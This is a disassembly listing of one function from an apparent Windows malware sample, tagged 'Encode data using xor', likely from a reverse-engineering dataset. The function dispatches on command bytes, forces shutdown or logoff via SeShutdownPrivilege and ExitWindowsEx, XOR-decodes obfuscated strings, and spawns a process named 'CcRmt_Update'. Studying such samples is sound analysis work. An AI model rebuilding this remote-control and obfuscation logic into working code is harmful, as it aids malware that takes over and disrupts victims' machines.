Function at 0x10005a5e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x47c
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x478], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
cmp eax, 0x34
ja case.0x10005795.2
movzx eax, byte [eax + 0x10005c9c]
jmp dword [eax*4 + 0x10005c4c]
mov ecx, 1
lea eax, [edi + 0x9e58]
xchg dword [eax], ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x100041d0
call fcn.10009c10
mov ecx, dword [edi + 0x9e50]
add esp, 0x14
mov dword [edi + ecx*4 + 0x210], eax
inc dword [edi + 0x9e50]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 1
sub esp, 8
push dword [eax + 0xa8]
push 0x100043e0
jmp 0x100057d3
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10004490
jmp 0x100057d3
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10004600
jmp 0x100057d3
mov eax, dword [edi + 4]
push 1
sub esp, 8
push dword [eax + 0xa8]
push 0x10004330
jmp 0x100057d3
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10004890
jmp 0x100057d3
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10004a80
call fcn.10009c10
mov ecx, dword [edi + 0x9e50]
add esp, 0x14
mov dword [edi + ecx*4 + 0x210], eax
inc dword [edi + 0x9e50]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10004ba0
jmp 0x10005887
push 1
sub esp, 8
lea eax, [ecx + 1]
push eax
push 0x10004ce0
jmp 0x10005887
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10005160
jmp 0x100057d3
mov eax, dword [edi + 4]
push 0
sub esp, 8
push dword [eax + 0xa8]
push 0x10005280
jmp 0x100057d3
inc ecx
mov edx, 1
call fcn.10004da0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
inc ecx
xor edx, edx
call fcn.10004da0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
call fcn.10004ff0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ecx + 1]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x100059e2
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x40], 2
call esi
push 0
push 0
push 0x10
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x24]
call edi
call ebx
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea eax, [esp + 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je case.0x10005795.2
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 1
push eax
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x40], 0
call esi
push 0
push 0
push 0x10
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x24]
call edi
call ebx
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
lea eax, [ecx + 1]
push 0x400
mov dword [esp + 0x18], eax
lea eax, [esp + 0x84]
push 0
push eax
call fcn.100146a0
movaps xmm0, xmmword [0x1002e860]
add esp, 0xc
movups xmmword [esp + 0x38], xmm0
mov dword [esp + 0x58], 0x8cf6d8c9
movaps xmm0, xmmword [0x1002e810]
push 0x25
movups xmmword [esp + 0x4c], xmm0
mov byte [esp + 0x60], 0xdb
call fcn.1001243f
mov esi, eax
lea ebx, [esp + 0x3d]
add esp, 4
mov eax, 1
sub ebx, esi
lea edx, [eax + esi]
mov cl, 0xcc
sub cl, al
inc eax
xor cl, byte [ebx + edx - 1]
mov byte [edx - 1], cl
cmp eax, 0x24
jbe 0x10005ab8
lea eax, [edi + 0x10]
mov byte [esi + 0x24], 0
push eax
lea eax, [esp + 0x84]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [esp + 0x20]
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
sub esp, 8
lea edx, [esp + 0x94]
call fcn.10006af0
add esp, 0x14
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
push 1
push esi
mov dword [esi + 0x20], 0
call fcn.1001246f
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x478]
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
lea esi, [ecx + 1]
push 0x2f
push esi
call fcn.10013fe0
add esp, 8
add eax, 1
mov dword [esp + 0x14], eax
je case.0x10005795.2
mov edx, eax
mov ecx, esi
call fcn.10009e80
test al, al
je case.0x10005795.2
xorps xmm0, xmm0
mov dword [esp + 0x38], 0x44
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
movlpd qword [esp + 0x54], xmm0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movaps xmm0, xmmword [0x1002e800]
push 0x10
movups xmmword [esp + 0x2c], xmm0
call fcn.1001243f
mov ebx, eax
lea esi, [esp + 0x2d]
add esp, 4
mov eax, 1
sub esi, ebx
lea edx, [eax + ebx]
mov cl, 0xcc
sub cl, al
inc eax
xor cl, byte [esi + edx - 1]
mov byte [edx - 1], cl
cmp eax, 0xf
jbe 0x10005bc2
lea eax, [esp + 0x18]
mov byte [ebx + 0xf], 0
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x44], ebx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.CcRmt_Update
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xorps xmm0, xmm0
mov esi, eax
movq qword [ebx], xmm0
mov dword [ebx + 8], 0
push 1
mov word [ebx + 0xc], 0
push ebx
mov byte [ebx + 0xe], 0
call fcn.1001246f
add esp, 8
test esi, esi
je case.0x10005795.2
mov ecx, edi
call fcn.10005ce0
mov ecx, dword [esp + 0x484]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10012425
mov esp, ebp
pop ebp
ret 8